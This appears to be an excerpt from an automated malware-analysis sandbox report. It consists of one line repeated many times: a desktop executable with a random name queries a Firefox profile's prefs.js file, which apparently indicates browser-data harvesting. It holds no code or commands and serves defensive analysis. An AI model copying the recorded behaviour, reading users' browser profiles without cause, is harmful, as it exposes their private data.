Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
